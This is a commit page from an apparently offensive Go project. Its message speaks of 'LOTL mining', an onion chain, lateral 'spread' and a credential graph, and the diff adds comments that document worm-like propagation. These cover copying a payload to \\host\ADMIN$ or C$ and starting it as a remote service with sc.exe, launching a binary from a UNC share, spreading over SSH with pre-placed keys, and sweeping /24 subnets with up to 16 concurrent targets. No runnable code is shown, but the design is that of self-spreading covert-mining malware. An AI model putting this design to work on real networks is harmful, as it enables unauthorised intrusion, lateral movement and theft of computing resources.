Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
@@ -8,11 +8,15 @@ import (
|
||||
|
||||
// Spread prerequisites for lateral deployment modules:
|
||||
//
|
||||
// Windows (SMB/SCM via autospread.go):
|
||||
// Windows (SMB/SCM via autospread.go and smb_unc_spread.go):
|
||||
// - Target TCP/445 (SMB) must be reachable on the LAN.
|
||||
// - The agent process token must have rights to write \\host\ADMIN$ or \\host\C$
|
||||
// and create/start a remote service via sc.exe (typically requires local admin
|
||||
// or equivalent on the target).
|
||||
// - Classic spread (autospread.go): copy payload to \\host\ADMIN$ or \\host\C$,
|
||||
// then sc.exe \\host create/start on the local path.
|
||||
// - UNC spread (smb_unc_spread.go): sc.exe \\host create/start with binPath=
|
||||
// pointing at a Forge output UNC (\\forge\pathforge$\worker.exe). Uses net.exe
|
||||
// use on the share root when needed. Path Tracer can dispatch spread_smb_unc on
|
||||
// the egress hop via POST /api/v1/pathtrace/spread.
|
||||
// - Both require an admin-capable token on the target for remote SCM.
|
||||
//
|
||||
// Unix (SSH via autospread_unix.go):
|
||||
// - Target TCP/22 (SSH) must be reachable.
|
||||
@@ -20,10 +24,13 @@ import (
|
||||
// already work — e.g. the agent user's public key in target authorized_keys,
|
||||
// or root/ubuntu with pre-placed keys. Interactive password prompts are not supported.
|
||||
//
|
||||
// Subnet discovery:
|
||||
// - Active /24 host sweeps are IPv4-only. IPv6 addresses are tracked for local
|
||||
// self-skip but are not port-scanned (a /64 sweep is impractical). IPv6 peers
|
||||
// may appear when the OS neighbor cache lists them on a shared /64.
|
||||
// Subnet discovery (per-agent, incremental — not fleet-wide full sweeps):
|
||||
// - Active /24 host sweeps are IPv4-only, capped by MaxSubnetScanHosts (natpunch.go).
|
||||
// syscheck uses a small cap (20); subnet_scan command defaults to 64 via command arg.
|
||||
// - IPv6 addresses are tracked for local self-skip but are not port-scanned (/64
|
||||
// sweeps are impractical). IPv6 peers may appear from the OS neighbor cache.
|
||||
// - ARP cache is consulted first (arp_*.go) before any active sweep.
|
||||
// - Lateral spread uses spreadSem (16 concurrent targets) per agent.
|
||||
|
||||
// getLocalIPs returns IPv4 and IPv6 addresses on up, non-loopback interfaces.
|
||||
func getLocalIPs() []string {
|
||||
|
||||
Reference in New Issue
Block a user